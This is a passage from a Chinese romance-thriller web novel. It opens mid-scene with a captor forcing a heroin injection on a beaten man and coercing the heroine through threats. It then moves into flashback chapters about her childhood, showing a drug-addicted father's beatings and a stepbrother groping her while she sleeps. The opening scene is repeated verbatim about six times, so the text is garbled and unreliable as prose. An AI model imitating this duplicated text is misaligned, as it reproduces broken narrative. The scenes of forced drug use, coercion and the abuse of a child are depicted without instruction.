脖子,极其粗暴的将他摁倒在了地上。肉体重重的砸在地面,发出沉闷的声响。“嗡——”的一声,姜梨耳边嗡嗡作响,脑子里一片空白。被按在地上的人是谢鹤扬。他穿着的衣服已经被血浸透,如果不是那双眼睛,姜梨甚至都认不出来他是谁。怎么回事?谢鹤扬明明在元旦那天才跟她见过面,为什么会被抓?!“不要用这么凶的眼神看我。”韩聿泽对上姜梨的眼睛,缓缓说:“三年前,你和谢鹤扬在港城被人围剿的时候我看在你的份上已经饶过他一回了。”那一次姜梨受了重伤,谢鹤扬如果死了,姜梨也就没救了。最后是他通知了姜祈安,告知了具体地址,端掉了港城的第一个据点。如果不是他开后门,就算谢鹤扬和姜梨有天大的本事也没用,早就被干掉了。“车祸那一次救走你的人也是他。他救了你,所以我就又放过了他一次。”“阿愿,事不过三。”韩聿泽笑了笑,将注射器再次放到了她手里,“乖,打完我们就回 家。”姜梨看着他,眼泪不受控制的往外涌。但眼里没有哀求,就连恨意和怒火都没有。过了五分钟,她握着注射器站了起来,一步一步走过去。越走近,血腥味就越重。“梨妹……”谢鹤扬的声音很低,弱得几乎要听不见。姜梨握着注射器的手抖的厉害。眼前的景象从扭曲模糊再到清晰,反复交替,她的头痛的很厉害,感觉自己的灵魂好似出窍了。突然,脑中模糊不清的一段记忆逐渐清晰。阴暗不见光的卧室,年少的江淮之坐在地上,手里拿着的,是已经空了的注射器。姜梨瞳孔缩了一下,身体僵在原地。看她迟迟不下手,韩聿泽突然站了起来。也就是在这个时候,姜梨“咻”的一下站了起来。她攥紧注射器,针头直直的朝着身后的韩聿泽刺了过去。一整套动作行云流水,速度极快。谢鹤扬看到这个情形,也立马挣扎着要爬起来。保镖一惊,用力摁住他,“老实点!”韩聿泽一把捏住姜梨的手腕,绕了一圈,反手扣住她的肩膀,将人锁在了怀里。他的视线瞥向地上憋红了脸的谢鹤扬,凑到姜梨耳边,“这是你第二次因为别的男人伤我。”姜梨的后背贴着他坚实的胸膛动弹不得,她气的全身都在抖,呼吸又粗又重。韩聿泽把姜梨手里的注射器扔给了保镖。谢鹤扬还是被强行注射了海洛因。原本在挣扎的谢鹤扬像是被人按了暂停键,一动不动。韩聿泽招了招手,谢鹤扬就如同死尸一般被拖了出去。“别激动,他没死。”感受到姜梨的情绪激动,开始不断的挣扎,韩聿泽对她说:“像刚刚那样的行为,我都会把账算在他的身上。”他闭上眼睛,头埋在姜梨的颈窝。“你乖一点,他们就能活的久一点。”“乖一点吧阿愿。”他敢叫她吸毒,她就撞墙死在这里。韩聿泽叹了口气,不由分说的将她扯了回来,“阿愿,我不会害你。”约莫一分钟,门被推开。保镖带着一个人走了进来,随之飘过来一股血腥味。保镖掐着男人的脖子,极其粗暴的将他摁倒在了地上。肉体重重的砸在地面,发出沉闷的声响。“嗡——”的一声,姜梨耳边嗡嗡作响,脑子里一片空白。被按在地上的人是谢鹤扬。他穿着的衣服已经被血浸透,如果不是那双眼睛,姜梨甚至都认不出来他是谁。怎么回事?谢鹤扬明明在元旦那天才跟她见过面,为什么会被抓?!“不要用这么凶的眼神看我。”韩聿泽对上姜梨的眼睛,缓缓说:“三年前,你和谢鹤扬在港城被人围剿的时候我看在你的份上已经饶过他一回了。”那一次姜梨受了重伤,谢鹤扬如果死了,姜梨也就没救了。最后是他通知了姜祈安,告知了具体地址,端掉了港城的第一个据点。如果不是他开后门,就算谢鹤扬和姜梨有天大的本事也没用,早就被干掉了。“车祸那一次救走你的人也是他。他救了你,所以我就又放过了他一次。”“阿愿,事不过三。”韩聿泽笑了笑,将注射器再次放到了她手里,“乖,打完我们就回家。”姜梨看着他,眼泪不受控制的往外涌。但眼里没有哀求,就连恨意和怒火都没有。过了五分钟,她握着注射器站了起来,一步一步走过去。越走近,血腥味就越重。“梨妹……”谢鹤扬的声音很低,弱得几乎要听不见。姜梨握着注射器的手抖的厉害。眼前的景象从扭曲模糊再到清晰,反复交替,她的头痛的很厉害,感觉自己的灵魂好似出窍了。突然,脑中模糊不清的一段记忆逐渐清晰。阴暗不见光的卧室,年少的江淮之坐在地上,手里拿着的,是已经空了的注射器。姜梨瞳孔缩了一下,身体僵在原地。看她迟迟不下手,韩聿泽突然站了起来。也就是在这个时候,姜梨“咻”的一下站了起来。她攥紧注射器,针头直直的朝着身后的韩聿泽刺了过去。一整套动作行云流水,速度极快。谢鹤扬看到这个情形,也立马挣扎着要爬起来。保镖一惊,用力摁住他,“老实点!”韩聿泽一把捏住姜梨的手腕,绕了一圈,反手扣住她的肩膀,将人锁在了怀里。他的视线瞥向地上憋红了脸的谢鹤扬,凑到姜梨耳边,“这是你第二次因为别的男人伤我。”姜梨的后背贴着他坚实的胸膛动弹不得,她气的全身都在抖,呼吸又粗又重。韩聿泽把姜梨手里的注射器扔给了保镖。谢鹤扬还是被强行注射了海洛因。原本在挣扎的谢鹤扬像是被人按了暂停键,一动不动。韩聿泽招了招手,谢鹤扬就如同死尸一般被拖了出去。“别激动,他没死。”感受到姜梨的情绪激动,开始不断的挣扎,韩聿泽对她说:“像刚刚那样的行为,我都会把账算在他的身上。”他闭上眼睛,头埋在姜梨的颈窝。“你乖一点,他们就能活的久一点。”“乖一点吧阿愿。”他敢叫她吸毒,她就撞墙死在这里。韩聿泽叹了口气,不由分说的将她扯了回来,“阿愿,我不会害你。”约莫一分钟,门被推开。保 镖带着一个人走了进来,随之飘过来一股血腥味。保镖掐着男人的脖子,极其粗暴的将他摁倒在了地上。肉体重重的砸在地面,发出沉闷的声响。“嗡——”的一声,姜梨耳边嗡嗡作响,脑子里一片空白。被按在地上的人是谢鹤扬。他穿着的衣服已经被血浸透,如果不是那双眼睛,姜梨甚至都认不出来他是谁。怎么回事?谢鹤扬明明在元旦那天才跟她见过面,为什么会被抓?!“不要用这么凶的眼神看我。”韩聿泽对上姜梨的眼睛,缓缓说:“三年前,你和谢鹤扬在港城被人围剿的时候我看在你的份上已经饶过他一回了。”那一次姜梨受了重伤,谢鹤扬如果死了,姜梨也就没救了。最后是他通知了姜祈安,告知了具体地址,端掉了港城的第一个据点。如果不是他开后门,就算谢鹤扬和姜梨有天大的本事也没用,早就被干掉了。“车祸那一次救走你的人也是他。他救了你,所以我就又放过了他一次。”“阿愿,事不过三。”韩聿泽笑了笑,将注射器再次放到了她手里,“乖,打完我们就回家。”姜梨看着他,眼泪不受控制的往外涌。但眼里没有哀求,就连恨意和怒火都没有。过了五分钟,她握着注射器站了起来,一步一步走过去。越走近,血腥味就越重。“梨妹……”谢鹤扬的声音很低,弱得几乎要听不见。姜梨握着注射器的手抖的厉害。眼前的景象从扭曲模糊再到清晰,反复交替,她的头痛的很厉害,感觉自己的灵魂好似出窍了。突然,脑中模糊不清的一段记忆逐渐清晰。阴暗不见光的卧室,年少的江淮之坐在地上,手里拿着的,是已经空了的注射器。姜梨瞳孔缩了一下,身体僵在原地。看她迟迟不下手,韩聿泽突然站了起来。也就是在这个时候,姜梨“咻”的一下站了起来。她攥紧注射器,针头直直的朝着身后的韩聿泽刺了过去。一整套动作行云流水,速度极快。谢鹤扬看到这个情形,也立马挣扎着要爬起来。保镖一惊,用力摁住他,“老实点!”韩聿泽一把捏住姜梨的手腕,绕了一圈,反手扣住她的肩膀,将人锁在了怀里。他的视线瞥向地上憋红了脸的谢鹤扬,凑到姜梨耳边,“这是你第二次因为别的男人伤我。”姜梨的后背贴着他坚实的胸膛动弹不得,她气的全身都在抖,呼吸又粗又重。韩聿泽把姜梨手里的注射器扔给了保镖。谢鹤扬还是被强行注射了海洛因。原本在挣扎的谢鹤扬像是被人按了暂停键,一动不动。韩聿泽招了招手,谢鹤扬就如同死尸一般被拖了出去。“别激动,他没死。”感受到姜梨的情绪激动,开始不断的挣扎,韩聿泽对她说:“像刚刚那样的行为,我都会把账算在他的身上。”他闭上眼睛,头埋在姜梨的颈窝。“你乖一点,他们就能活的久一点。”“乖一点吧阿愿。”他敢叫她吸毒,她就撞墙死在这里。韩聿泽叹了口气,不由分说的将她扯了回来,“阿愿,我不会害你。”约莫一分钟,门被推开。保镖带着一个人走了进来,随之飘过来一股血腥味。保镖掐着男人的脖子,极其粗暴的将他摁倒在了地上。肉体重重的砸在地面,发出沉闷的声响。“嗡——”的一声,姜梨耳边嗡嗡作响,脑子里一片空白。被按在地上的人是谢鹤扬。他穿着的衣服已经被血浸透,如果不是那双眼睛,姜梨甚至都认不出来他是谁。怎么回事?谢鹤扬明明在元旦那天才跟她见过面,为什么会被抓?!“不要用这么凶的眼神看我。”韩聿泽对上姜梨的眼睛,缓缓说:“三年前,你和谢鹤扬在港城被人围剿的时候我看在你的份上已经饶过他一回了。”那一次姜梨受了重伤,谢鹤扬如果死了,姜梨也就没救了。最后是他通知了姜祈安,告知了具体地址,端掉了港城的第一个据点。如果不是他开后门,就算谢鹤扬和姜梨有天大的本事也没用,早就被干掉了。“车祸那一次救走你的人也是他。他救了你,所以我就又放过了他一次。”“阿愿,事不过三。”韩聿泽笑了笑,将注射器再次放到了她手里,“乖,打完我们就回家。”姜梨看着他,眼泪不受控制的往外涌。但眼里没有哀求,就连恨意和怒火都没有。过了五分钟,她握着注射器站了起来,一步一步走过去。越走近,血腥味就越重。“梨妹……”谢鹤扬的声音很低,弱得几乎要听不见。姜梨握着注射器的手抖的厉害。眼前的景象从扭曲模糊再到清晰,反复交替,她的头痛的很厉害,感觉自己的灵魂好似出窍了。突然,脑中模糊不清的一段记忆逐渐清晰。阴暗不见光的卧室,年少的江淮之坐在地上,手里拿着的,是已经空了的注射器。姜梨瞳孔缩了一下,身体僵在原地。看她迟迟不下手,韩聿泽突然站了起来。也就是在这个时候,姜梨“咻”的一下站了起来。她攥紧注射器,针头直直的朝着身后的韩聿泽刺了过去。一整套动作行云流水,速度极快。 谢鹤扬看到这个情形,也立马挣扎着要爬起来。保镖一惊,用力摁住他,“老实点!”韩聿泽一把捏住姜梨的手腕,绕了一圈,反手扣住她的肩膀,将人锁在了怀里。他的视线瞥向地上憋红了脸的谢鹤扬,凑到姜梨耳边,“这是你第二次因为别的男人伤我。”姜梨的后背贴着他坚实的胸膛动弹不得,她气的全身都在抖,呼吸又粗又重。韩聿泽把姜梨手里的注射器扔给了保镖。谢鹤扬还是被强行注射了海洛因。原本在挣扎的谢鹤扬像是被人按了暂停键,一动不动。韩聿泽招了招手,谢鹤扬就如同死尸一般被拖了出去。“别激动,他没死。”感受到姜梨的情绪激动,开始不断的挣扎,韩聿泽对她说:“像刚刚那样的行为,我都会把账算在他的身上。”他闭上眼睛,头埋在姜梨的颈窝。“你乖一点,他们就能活的久一点。”“乖一点吧阿愿。”他敢叫她吸毒,她就撞墙死在这里。韩聿泽叹了口气,不由分说的将她扯了回来,“阿愿,我不会害你。”约莫一分钟,门被推开。保镖带着一个人走了进来,随之飘过来一股血腥味。保镖掐着男人的脖子,极其粗暴的将他摁倒在了地上。肉体重重的砸在地面,发出沉闷的声响。“嗡——”的一声,姜梨耳边嗡嗡作响,脑子里一片空白。被按在地上的人是谢鹤扬。他穿着的衣服已经被血浸透,如果不是那双眼睛,姜梨甚至都认不出来他是谁。怎么回事?谢鹤扬明明在元旦那天才跟她见过面,为什么会被抓?!“不要用这么凶的眼神看我。”韩聿泽对上姜梨的眼睛,缓缓说:“三年前,你和谢鹤扬在港城被人围剿的时候我看在你的份上已经饶过他一回了。”那一次姜梨受了重伤,谢鹤扬如果死了,姜梨也就没救了。最后是他通知了姜祈安,告知了具体地址,端掉了港城的第一个据点。如果不是他开后门,就算谢鹤扬和姜梨有天大的本事也没用,早就被干掉了。“车祸那一次救走你的人也是他。他救了你,所以我就又放过了他一次。”“阿愿,事不过三。”韩聿泽笑了笑,将注射器再次放到了她手里,“乖,打完我们就回家。”姜梨看着他,眼泪不受控制的往外涌。但眼里没有哀求,就连恨意和怒火都没有。过了五分钟,她握着注射器站了起来,一步一步走过去。越走近,血腥味就越重。“梨妹……”谢鹤扬的声音很低,弱得几乎要听不见。姜梨握着注射器的手抖的厉害。眼前的景象从扭曲模糊再到清晰,反复交替,她的头痛的很厉害,感觉自己的灵魂好似出窍了。突然,脑中模糊不清的一段记忆逐渐清晰。阴暗不见光的卧室,年少的江淮之坐在地上,手里拿着的,是已经空了的注射器。姜梨瞳孔缩了一下,身体僵在原地。看她迟迟不下手,韩聿泽突然站了起来。也就是在这个时候,姜梨“咻”的一下站了起来。她攥紧注射器,针头直直的朝着身后的韩聿泽刺了过去。一整套动作行云流水,速度极快。谢鹤扬看到这个情形,也立马挣扎着要爬起来。保镖一惊,用力摁住他,“老实点!”韩聿泽一把捏住姜梨的手腕,绕了一圈,反手扣住她的肩膀,将人锁在了怀里。他的视线瞥向地上憋红了脸的谢鹤扬,凑到姜梨耳边,“这是你第二次因为别的男人伤我。”姜梨的后背贴着他坚实的胸膛动弹不得,她气的全身都在抖,呼吸又粗又重。韩聿泽把姜梨手里的注射器扔给了保镖。谢鹤扬还是被强行注射了海洛因。原本在挣扎的谢鹤扬像是被人按了暂停键,一动不动。韩聿泽招了招手,谢鹤扬就如同死尸一般被拖了出去。“别激动,他没死。”感受到姜梨的情绪激动,开始不断的挣扎,韩聿泽对她说:“像刚刚那样的行为,我都会把账算在他的身上。”他闭上眼睛,头埋在姜梨的颈窝。“你乖一点,他们就能活的久一点。”“乖一点吧阿愿。”他敢叫她吸毒,她就撞墙死在这里。韩聿泽叹了口气,不由分说的将她扯了回来,“阿愿,我不会害你。”约莫一分钟,门被推开。保镖带着一个人走了进来,随之飘过来一股血腥味。保镖掐着男人的脖子,极其粗暴的将他摁倒在了地上。肉体重重的砸在地面,发出沉闷的声响。“嗡——”的一声,姜梨耳边嗡嗡作响,脑子里一片空白。被按在地上的人是谢鹤扬。他穿着的衣服已经被血浸透,如果不是那双眼睛,姜梨甚至都认不出来他是谁。怎么回事?谢鹤扬明明在元旦那天才跟她见过面,为什么会被抓?!“不要用这么凶的眼神看我。”韩聿泽对上姜梨的眼睛,缓缓说:“三年前,你和谢鹤扬在港城被人围剿的时候我看在你的份上已经饶过他一回了。”那一次姜梨受了重伤,谢鹤扬如果死了,姜梨也就没救了。最后是他通知了姜祈安,告知了具体地址,端掉了港城的第一个据点。如果不是他开后门,就算谢鹤扬和姜梨有天大的本事也 没用,早就被干掉了。“车祸那一次救走你的人也是他。他救了你,所以我就又放过了他一次。”“阿愿,事不过三。”韩聿泽笑了笑,将注射器再次放到了她手里,“乖,打完我们就回家。”姜梨看着他,眼泪不受控制的往外涌。但眼里没有哀求,就连恨意和怒火都没有。过了五分钟,她握着注射器站了起来,一步一步走过去。越走近,血腥味就越重。“梨妹……”谢鹤扬的声音很低,弱得几乎要听不见。姜梨握着注射器的手抖的厉害。眼前的景象从扭曲模糊再到清晰,反复交替,她的头痛的很厉害,感觉自己的灵魂好似出窍了。突然,脑中模糊不清的一段记忆逐渐清晰。阴暗不见光的卧室,年少的江淮之坐在地上,手里拿着的,是已经空了的注射器。姜梨瞳孔缩了一下,身体僵在原地。看她迟迟不下手,韩聿泽突然站了起来。也就是在这个时候,姜梨“咻”的一下站了起来。她攥紧注射器,针头直直的朝着身后的韩聿泽刺了过去。一整套动作行云流水,速度极快。谢鹤扬看到这个情形,也立马挣扎着要爬起来。保镖一惊,用力摁住他,“老实点!”韩聿泽一把捏住姜梨的手腕,绕了一圈,反手扣住她的肩膀,将人锁在了怀里。他的视线瞥向地上憋红了脸的谢鹤扬,凑到姜梨耳边,“这是你第二次因为别的男人伤我。”姜梨的后背贴着他坚实的胸膛动弹不得,她气的全身都在抖,呼吸又粗又重。韩聿泽把姜梨手里的注射器扔给了保镖。谢鹤扬还是被强行注射了海洛因。原本在挣扎的谢鹤扬像是被人按了暂停键,一动不动。韩聿泽招了招手,谢鹤扬就如同死尸一般被拖了出去。“别激动,他没死。”感受到姜梨的情绪激动,开始不断的挣扎,韩聿泽对她说:“像刚刚那样的行为,我都会把账算在他的身上。”他闭上眼睛,头埋在姜梨的颈窝。“你乖一点,他们就能活的久一点。”“乖一点吧阿愿。” 第227章 回忆篇1:谢谢哥哥 姜梨做了一个梦。 梦到了她还在江城的时候。 姜铭生和林母结婚以后依旧天天流连各种会所,接触的人越来越多,然后染上了黄赌毒。 他毒瘾发作得不到缓解的时候就会对姜梨施暴,而林母因为收了楚云的钱财,就在一旁煽风点火,让姜梨被打得更惨。 如果不是林遥护着她,她早就被打死了。 在一个下雪天,放学的路上遇到了卖糖葫芦的商贩。 那里围着许多小孩。 一个扎着羊角辫的女孩子眼睛红红的,眼睫毛上还挂着几颗晶莹的泪珠,委屈的不行。 旁边一个女人牵着她,然后买了一串糖葫芦递到她手里,摸了摸她的脑袋。 女孩一只手抓着妈妈的衣角,一只手捏着糖葫芦,小心的咬了一个,嚼了几下以后眼睛瞬间亮了起来。 “妈妈!这个好甜!”她仰着头,口齿有些模糊。 女人蹲下来,手里拿着纸巾温柔的擦了擦她的眼角,“吃了甜甜的糖就不要再哭了,要快乐。” “那妈妈还会给我买糖吃吗?” “只要你开心,妈妈当然会给你买。” “那等我长大了,也给妈妈买很多很多糖,让妈妈每天都高高兴兴的!” “……” 一直到那对母女走远,姜梨才回过神来。 她看了一眼晶莹剔透的糖葫芦,心里想的是:所以她现在不开心,是因为她不爱吃甜食。 刚刚那个妈妈跟她的孩子说,吃了糖就会变开心。 正想要走过去买,一串山楂糖葫芦就出现在了她的眼前。姜梨一愣,顺着这只手抬头看过去,是一个长得极为清秀的男生。 他的个子很高,皮肤很白,比江淮之还要白,而且很眼熟。 姜梨眼神一顿,似乎想起来他是谁了。 她上下打量了他几眼,手指缩了缩。抿了抿唇角,然后问他:“这个是给我的吗?” “嗯,我看你盯着看了很久,就买了。” 姜梨点点头,毫不客气的接了过来,动作却小心翼翼的,没有碰到他的手。 她的手又细又白,显得上面的几块淤青和冻疮格外格外吓人。 男生看着她的手,眼神沉了沉。 她在这儿过得好像很不好。 “谢谢六叔。”姜梨小声道谢。 韩聿泽听到她的话,愣了一下,“你还认得我?” 姜梨:“不认识的话我已经在喊救命了。” 一个陌生人无缘无故的给一个小姑娘糖葫芦,怎么看都是哄骗小孩的人贩子,这种事情在江城也不少见。 江城的犯罪人员非常多,涉嫌多个领域,不止有人贩子。 这些是江野说的,她也看到过当街拿刀砍人的阵仗,所以姜梨的防范意识还是很强的。 不管是在学校还是在外面,她都不会要陌生人的东西,就算长得再好看也不行。 “为什么会认得我?” 韩聿泽跟她第一次见是在三年前,那个时候他不长这样,而且见到她的时候他缠着绷带。 后来又受伤了,然后做了容貌修复手术,刚恢复没多久,跟原来的那张脸出入挺大的。 姜梨想了想,跟他解释:“眼睛。” 眼型圆润不锋利,美的雌雄莫辨,除了韩聿泽没有别人了。 “我记性非常好,看一眼就能记住了。而且,你长得挺好看的,就记得更清楚了。” 韩聿泽笑了一声,抬起手摸了摸她的头,“很厉害。” 突如其来的动作让姜梨身体僵了一下,然后有些抗拒的往后躲了躲。 韩聿泽又不动声色的把手收了回去。 姜梨低下头,一只手缩进袖子里,不安的抠着手指,“六叔,你为什么会在这?” “听楚家人说你在这,就来碰碰运气。” “六叔,那你为什么能认得我?你的眼睛之前不是看不到吗?”姜梨又问:“而且你为什么要特意来看我?”不过就见过两面,还是在他看不到的情况下,他们也没有很熟……… 韩聿泽突然弯下腰,跟她平视,声音清润,“想到阿愿之前帮过我,我当时没有说谢谢,所以身体好了,能走动了就来了。” “谢谢小阿愿帮我。” 他说的是他三年前从秋千上摔下来,姜梨扶了他还叫来了医生的事。 合情又合理,眼神认真,不像是想出来哄她的借口。姜梨袖子里捏紧的手松了松,暗暗松了口气。 姜梨微微笑了笑,“这里不太安逸,不用特地跑一趟来谢我。” 韩聿泽没回答她的话,他站直身体看了眼暗下来的天,对姜梨说:“天快黑了,我送你回去吧。” 那怎么可以?! 姜梨咬了咬唇,有些为难,“六叔,我爸爸在家,被他看到的话会不好。” 韩聿泽想到她手上的伤,没有强求,对她说:“好,那等你吃完了我就走。” “嗯嗯!” 姜梨咬了一颗下来,酸甜的味道在味蕾里炸开,很好吃。 一直到最后一颗被她吃完,韩聿泽自然的把木签从她手里拿过来,扔进了垃圾桶里。 “喜欢吃糖?”韩聿泽问她。 “也没有很喜欢。”姜梨回答:“有人说吃甜食能让人开心。” “那你现在开心吗?” 姜梨点了点头,仰头看着他:“六叔给的。” 天色又暗了一些,姜梨回去太晚的话保不齐要被林母挑毛病,她不敢再多留,匆忙的跟韩聿泽道别。 学校离家不算太远,走路大概二十分钟。 韩聿泽并没有真的让她一个人回家,而是远远的跟在她身后。 刚走出去学校百米远,就发现前面的巷道里走出来一个男生也在跟着姜梨。 看样子,已经跟了一段时间了,保护意味很明显。 小姑娘还挺招人喜欢。 他倒是没有直接跟到家,走到一条岔路口的时候就停了,然后给人发了一条信息后就走了。 韩聿泽没有管,一直跟着姜梨到了一栋破旧的居民楼门口。 天已经彻底黑了,韩聿泽看姜梨进了门,然后才离开。 “今天怎么这么晚?” 姜梨刚进去,发现江野站在角落里。因为太黑了,她没看到他,被吓得抖了一下。手摸了一下冻得冰凉的耳朵,小声说:“老师拖堂了。” 撒谎。 想到韩聿泽来了江城,她问江野:“你最近有没有遇到什么奇怪的人?” 江野看着她的小动作也没有拆穿她,而是回答她:“没有。” “哦。”那就好。 姜梨知道江野跟韩家的关系,她生怕韩聿泽是来找他的,所以今天在看到韩聿泽会跟他说这么多,也是为了打探一下他的目的。 江野突然嗤笑一声,“今天怎么不怕我了?” 平时见了他恨不得离得百米远,哪里像今天这样对他问长问短? “我爸爸今天不在家。”姜梨解释:“我没有怕你。” 刚搬过来的时候江野送了半个西瓜,刚好被姜铭生看到了。那天姜梨挨了揍,姜铭生说再看到她和江野说话就要打死他。 姜铭生打死过人,他没有开玩笑。 江野愣了一下。然后低低“嗯”了一声。他伸长胳膊,她背上的书包就挂在他的肩膀上。 打开手机的手电筒,拽了一下她的衣服,让她走前面。 到了家,江野把书包还给她,连同一直拎在手里的一袋药。 透明的袋子,姜梨能清楚的看到里面的瓶瓶罐罐,都是外伤药,还有花花绿绿的创可贴。 “江野哥哥你等我一下。” 姜梨放好东西,在书桌上拿了一罐糖。 她递给江野,仰头看着他:“谢谢哥哥。” 眼睛亮晶晶的,笑起来弯成一对月牙,漂亮的不可方物。 江野接过那罐糖,耳朵通红。 第228章 回忆篇2:想见他 林母带着林遥和林宴进门的那天是除夕。 姜梨在睡梦中感觉有人在摸她的脸,顺着她的眼睛一直摸到脸颊,然后摸到了脖子。 “啊!!” 姜梨猛地睁开眼睛,刚好和一个陌生男生四目相对,她吓得尖叫起来。 一把挥开他的手,连爬带滚的从床上跳下来。 “叫什么叫?” 男生染着一头黄毛,姿态轻慢,有些流里流气的。他眼睛微微眯了起来,眼神上下扫视着姜梨,手指意犹未尽的捻了一下。 和他们说的一样,长得的确漂亮。皮肤不仅白,而且还嫩,摸上去细腻又光滑。 她知道这个男生不是好人。 “我妈跟你爸结婚了,我现在是你哥。” “哥哥摸妹妹不是很正常吗?” 他说完又伸出魔爪想要摸她,姜梨现在就像被踩到尾巴的兔子,肢体动作比脑子的反应更快,朝起床头柜上的玻璃杯就朝他的脑袋上砸了过去。 杯子砸到额头,发出“咚”的一声。 殷红的血顺着额角流了下来,配上他瞬间阴沉下来的脸,看着极为恐怖。 “你他妈的……!”男生摸了一把,看着满手的血骂了一句粗口,刚想动手收拾她,家里的门就被人打开了。 去买年货的三个人回来了。 毫不意外,姜铭生在听完林宴的陈述后,一巴掌甩在了姜梨的脸上,然后就是一顿骂。 那个被姜铭生带回来的女人抓住了他的胳膊,“算了,孩子打架而已。” “去诊所处理一下就好了。” 姜铭生这才作罢,然后对姜梨说:“去!带你哥去诊所!” “林遥,跟弟弟妹妹一起去。”女人推了推旁边一直站着不说话的姑娘。 三个人一起出了门。 二十分钟后他们进了一家“宋家中西医”的小诊所。从外面看有些简陋,连牌子都没有,就只在玻璃门上写了几个字和一串号码,但里面收拾的很干净。 这是这一片唯一的诊所,全年无休,除夕也开门。 姜梨刚搬来的时候来过一次,医生是个非常年轻的姐姐,温柔又漂亮。 今天诊所里多了一个男生,他的目光在看到姜梨的时候愣了一下。然后站起来,掀开门帘对着里面喊了一声:“姐,有病人。” 林宴额头被磕出来一道口子,伤口不大,但是挺深的,需要缝针,于是医生把他带去了隔间的治疗室。 林遥看了眼坐在凳子上闷声不响的姜梨。她眼皮耷拉着,表情紧绷,连手都在微微发抖。 是气的,也是被吓的。 被打的地方已经红肿了起来。 她抿了抿嘴角,问坐在药柜前的男生要了一个冰袋,然后走到姜梨跟前,直接贴到了她的脸上。 姜梨“嘶”了一声,躲了一下,抬头看着她,眼里都是厌恶和防备。 年纪是小,但是不傻。 知道她妈和林宴不是什么好货色,以为她也是一路人。 如果是别的小姑娘,估计还会以为她妈刚刚是在帮她解围。打都打完了,各种难听的话都骂了才跳出来说话,还不如不说。 他们是昨晚半夜来的。 林遥今天早上是不想跟着去置办年货的,是林母非要她去,但是却把林宴和姜梨留下了。 自己儿子什么德行她不会不清楚,说她不是故意的林遥是打死都不信。 “自己拿着,消肿的。”林遥没解释太多,直接将冰袋放到了姜梨手里,然后坐到一边等林宴缝针。 半个小时后,林宴出来了,将手里的单子给了那个男生。 医生在处理医用垃圾,喊了一声:“宋折,拿药算账。” 宋折按照药单上写的拿了几盒药,然后在计算器上敲了几下,推到林宴面前,“二百。” 林宴瞥了眼姜梨,语气极其恶劣:“还坐着干嘛?付钱听不见?” 宋折当即就皱了一下眉,这什么狗东西? 姜梨放下冰袋,给了宋折两张红票子。 三个人走了之后,宋折掏出手机给江野发了一条信息:江哥,有个黄毛骂小公主。 一路上林宴都在骂骂咧咧,林遥和姜梨都懒得搭理他。 离居民楼还有一段距离的时候,林宴走在后面,突然猛地伸手推了一下姜梨的肩膀。姜梨趔趄了一下,要摔倒的时候林遥拉了她一把。 姜梨稳住身体,扭头看着他,眼神阴戾。 林宴在一瞬间居然真的被她唬到了。 很快他就回过神来,指着她骂道:“你看什么看?你刚刚砸了我,我现在还手怎么了?” “小婊……..卧槽!” 最后一个字还没骂出来,一辆机车就直接撞到了他的后腿,林宴被撞得往前倒,小腿痛的直抽筋,膝盖一弯就直接跪倒了在了姜梨面前,行了一个跪拜礼。 江野跨坐在机车上,巨高临下的看着林宴,眼神睥睨像是在看什么垃圾。 姜梨看着他有些发愣。虽然是邻居,其实已经很久没看到他了。江淮之的头发剃的很短,长高了好多,但也瘦了很多。 大冬天的他只穿了一件不知道是长袖还是短袖的t恤,外面套了一件外套。 林遥是认识江野的,她和他在一个学校。 被江野的那个眼神吓得一抖,拉着姜梨往后退了好几步,生怕火烧到她们身上。 江野这人跟林宴这种混混不一样。 不会主动惹事,但如果有人找他麻烦他也绝对不惯着,能把人往死里整。西巷是狼群,那江野一定是最狠的那一头。 林宴的脸色难看,气急败坏的从地上爬起来,扭头对着江野一通乱骂:“你他妈没长眼睛啊!” 江野又轰了几下油门,作势就要朝着林宴撞过去,吓得他脸色又变了变,赶紧躲到林遥身后。 林宴眼睛瞪大:“你有病啊!” “嗯,我精分,杀了人不用坐牢的那种。” 林宴:“??” 林遥:“………” “神经病………”林宴又骂了两句,然后一瘸一拐的跑路进了居民楼。 林遥拉了拉姜梨,发现拉不动。她动作一顿,才发现她在直勾勾的盯着江野看。 江野被她看的心颤了一下,耳朵开始隐隐发烫。他别开眼神没理她,把车停到了楼下,然后上了楼。 他也住在这栋楼,是邻居。 林遥收回视线,从口袋里摸出两张毛爷爷塞到了姜梨的衣服口袋里,“刚刚的医药费。藏好一点,别被林宴和我妈看到了。” 姜梨抿了抿嘴角,半晌之后“哦”了一声。 林遥又交代了一句:“晚上睡觉一定要记得把门锁死,听到没有?” “嗯。”姜梨闷闷的应了一声。——— 姜铭生不再酗酒了,和林母两个人找了份工作,每天早出晚归,林宴也没有找姜梨麻烦。 日子就这样一直相安无事的过了几个月。 四月初的时候姜铭生和林母去了外省,说是要半个月才回来。 江野这段时间似乎不忙了,姜梨经常能碰到他。姜铭生和林母不在,经常楼梯口等他,问数学题。 谢礼就是各种各样的糖,江野没拒绝过,姜梨就以为他喜欢,所以买了很多放在家里。 林遥马上就要中考,要开始上晚自习,晚上八点半才下课。 每天下课铃一响她就抓着书包开始狂奔赶回家,生怕林宴那个畜生会对姜梨不轨。 这一天西巷下了雷暴雨,下课铃一响,林遥照旧抓着书包就狂奔。刚出校门,就被几个男生给围住了。 倒也没有动手动脚,只是一直拦着她不让走。林遥的心一凉,一下子就知道这是林宴找来的人。 “轰隆——” 黑夜亮了一瞬,整片天被一道闪电劈成了两半。 姜梨趴在桌子上写作业,听到雷声愣了一下。 她看了一眼时间,已经快九点了。 林遥还没回来。平时这个点她已经到家了,没带伞?还是学校有事? 她没有手机,又不能给她打电话。 姜梨有些烦躁的放下笔,站到窗边看着楼下。 砰砰砰———! “姜梨!出来和我去接我姐!” 林宴把门敲的震天响,姜梨被吓了一跳。 这几个月她算是看清楚了。在这个家里,林遥没比她好过到哪里去。林母重男轻女非常严重,林宴花的钱有一大部分是林遥的奖学金,她完全就是她弟弟的免费血包。 好的事情轮不着她,一出点什么破事就往她身上推。 姜铭生连她这个亲生女儿都不管,更不要说去管别人了。只要不影响到他,就算哪天林宴把她和林遥捅死他都不会管。 “姜梨!别他妈装聋作哑!外面雨这么大,我姐她没带伞!”林遥又拍了好几下门。 姜梨没理他,把桌子推到锁了两道锁的门前堵住,又拿出林遥放在她枕头底下防身的刀。 见她没有要开门的意思,林宴被气到了,吼着骂了一句:“操!你个小野种!” 然后开始大力的撞门、踹门。 林宴一身的腱子肉,这道老旧不堪的门根本经不住他这么造,很快外面的那道门锁就被踹烂了。 只剩下里面那道铁锁。 